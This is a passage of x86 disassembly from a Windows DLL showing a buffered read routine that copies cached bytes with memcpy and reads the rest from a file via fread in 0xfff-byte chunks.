lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x1000b543
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push dword [ebp - 4]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x1000b543
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x1000b5b6
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1000b56c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x1000b5a4
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x1000b5b6
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x1000b580
test edi, edi
je 0x1000b5b6
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc